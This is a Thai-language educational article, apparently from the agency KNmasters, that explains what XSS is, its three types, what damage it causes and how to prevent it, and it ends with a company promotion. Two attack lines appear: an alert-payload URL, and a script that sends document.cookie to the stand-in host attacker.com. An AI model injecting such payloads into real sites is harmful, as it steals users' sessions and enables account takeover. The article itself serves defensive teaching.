หนึ่งในภัยคุกคามทางไซเบอร์ที่พบนำมาใช้โจมตีเว็บไซต์มากที่สุดคือ Cross-Site Scripting (XSS) ซึ่งแฮ็กเกอร์อาศัยช่องโหว่ของเว็บไซต์เพื่อฝังโค้ด JavaScript ที่เป็นอันตราย ลงในหน้าเว็บ เมื่อผู้ใช้งานเปิดหน้าเว็บนั้น โค้ดจะถูกรันทันที ส่งผลให้ข้อมูลสำคัญรั่วไหลหรือถูกแฮ็กเกอร์ควบคุมบัญชีได้โดยไม่รู้ตัว
บทความนี้จะพาไปทำความรู้จักกับ XSS คืออะไร? ทำงานอย่างไร? และวิธีป้องกันที่เว็บไซต์ควรทำทันที
หัวข้อ
Cross-Site Scripting (XSS) คืออะไร?
XSS เป็นช่องโหว่ด้านความปลอดภัยของเว็บไซต์ ที่เปิดโอกาสให้ผู้ไม่หวังดี ฝังโค้ด JavaScript อันตรายลงในเว็บไซต์หรือเว็บแอปพลิเคชันได้ เมื่อผู้ใช้เปิดหน้าเว็บนั้น โค้ดจะถูกรันใน Browser ของเหยื่อทันที ส่งผลให้เกิดความเสียหาย เช่น
- ขโมย Cookies / Session
- ดึงข้อมูลส่วนตัว เช่น Username / Password
- เปลี่ยนเส้นทาง (Redirect) ไปยังเว็บไซต์อันตราย
- แสดง Popup หลอกลวง (Phishing)
XSS มีกี่ประเภท?
1. Stored XSS (Persistent XSS)
- โค้ดอันตรายถูกฝังในฐานข้อมูลหรือ Content ของเว็บแบบถาวร
- ตัวอย่าง: ช่อง Comment, Webboard, Review
2. Reflected XSS
- โค้ดฝังมากับ URL หรือ Parameter ใน Query String
- โค้ดถูกรันทันทีเมื่อเปิดลิงก์ เช่น:
https://example.com/search?q=<script>alert('XSS')</script>3. DOM-based XSS
- เกิดจากการที่ JavaScript ฝั่ง Client จัดการ DOM โดยไม่ตรวจสอบ Input
- ไม่มีการส่งข้อมูลไปที่ Server แต่เกิดบน Browser ของผู้ใช้โดยตรง
XSS ทำงานอย่างไร?
- แฮ็กเกอร์ฝังโค้ด JavaScript อันตรายลงในช่องรับข้อมูลของเว็บไซต์
- เมื่อมีผู้ใช้เปิดหน้าเว็บ โค้ดจะถูกรันโดยอัตโนมัติใน Browser
- แฮ็กเกอร์ดึงข้อมูลจากเหยื่อ เช่น Cookies, Session ID หรือข้อมูลสำคัญอื่น ๆ
ตัวอย่าง Payload
<script>document.location='http://attacker.com?cookie='+document.cookie</script>ความเสียหายจาก XSS
- ขโมย Session Cookie ทำให้แฮ็กเกอร์เข้าสู่ระบบในฐานะเหยื่อได้
- ดักข้อมูลส่วนตัว เช่น ชื่อผู้ใช้ รหัสผ่าน บัตรเครดิต
- ปลอมหน้าเว็บ เพื่อหลอกเอาข้อมูลสำคัญ (Phishing)
- โจมตีแบบ Chain Attack เช่น ใช้ XSS เปิดช่องให้โจมตี CSRF
วิธีป้องกัน XSS
1. ใช้การ Escape / Sanitize ข้อมูล (Output Encoding)
- ใช้ฟังก์ชันเช่น
htmlspecialchars()ใน PHP,escape()ใน JavaScript - ห้ามแสดง Input ของผู้ใช้ตรง ๆ โดยไม่ผ่านการกรอง
2. ใช้ Content Security Policy (CSP)
- กำหนดให้เว็บไซต์โหลด Script ได้จากแหล่งที่เชื่อถือเท่านั้น
- ลดความเสี่ยงแม้มี XSS หลุดรอดเข้าไปได้
3. ตรวจสอบ Input ฝั่ง Server และ Client
- หลีกเลี่ยงการอนุญาต HTML หรือ JavaScript จากผู้ใช้
4. หลีกเลี่ยงการใช้ innerHTML โดยไม่จำเป็น
- ใช้
textContentหรือinnerTextแทนเมื่อแสดงผลข้อมูล
5. ใช้ Framework ที่มีระบบป้องกัน XSS ในตัว
- เช่น React, Angular, Vue ซึ่ง Escape ข้อมูลอัตโนมัติ
ตัวอย่างการป้องกันใน PHP
<?php
$user_input = $_GET['name'];
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
?>ตรวจสอบและทดสอบ XSS ด้วยเครื่องมือ
- OWASP ZAP – เครื่องมือทดสอบช่องโหว่
- Burp Suite – เครื่องมือสำหรับแฮ็กเกอร์สาย White Hat
- XSS Hunter – สำหรับล่าช่องโหว่ XSS โดยเฉพาะ
สรุป
Cross-Site Scripting (XSS) เป็นภัยร้ายแรงที่เกิดจากความผิดพลาดในการจัดการ Input/Output บนเว็บไซต์ หากถูกโจมตี อาจทำให้ข้อมูลสำคัญของผู้ใช้รั่วไหลหรือเสียหายได้
แนวทางป้องกัน XSS ที่ดีที่สุดคือ กรองข้อมูล, Escape Output, และ ใช้ Content Security Policy (CSP)
หากคุณเป็นเจ้าของเว็บไซต์หรือเป็นนักพัฒนา อย่าลืมตรวจสอบและป้องกัน XSS ทุกครั้ง เพื่อรักษาความปลอดภัยของผู้ใช้และปกป้องชื่อเสียงเว็บไซต์ของคุณ!
อย่ารอช้า! ให้ KNmasters ดูแลธุรกิจของคุณวันนี้!
หากคุณต้องการข้อมูลเพิ่มเติมหรืออยากเริ่มใช้บริการกับ KNmasters เราพร้อมช่วยให้ธุรกิจของคุณเติบโตด้วยกลยุทธ์การตลาดออนไลน์ครบวงจร
- Facebook: KNmasters
- LINE: KNmasters
- Youtube: KNmasters
- Instagram: knmasters.official
- Tiktok: KNmasters.official
- Twitter: KNmasters Official
- เว็บไซต์: www.knmasters.com
- แผนที่: KNmasters



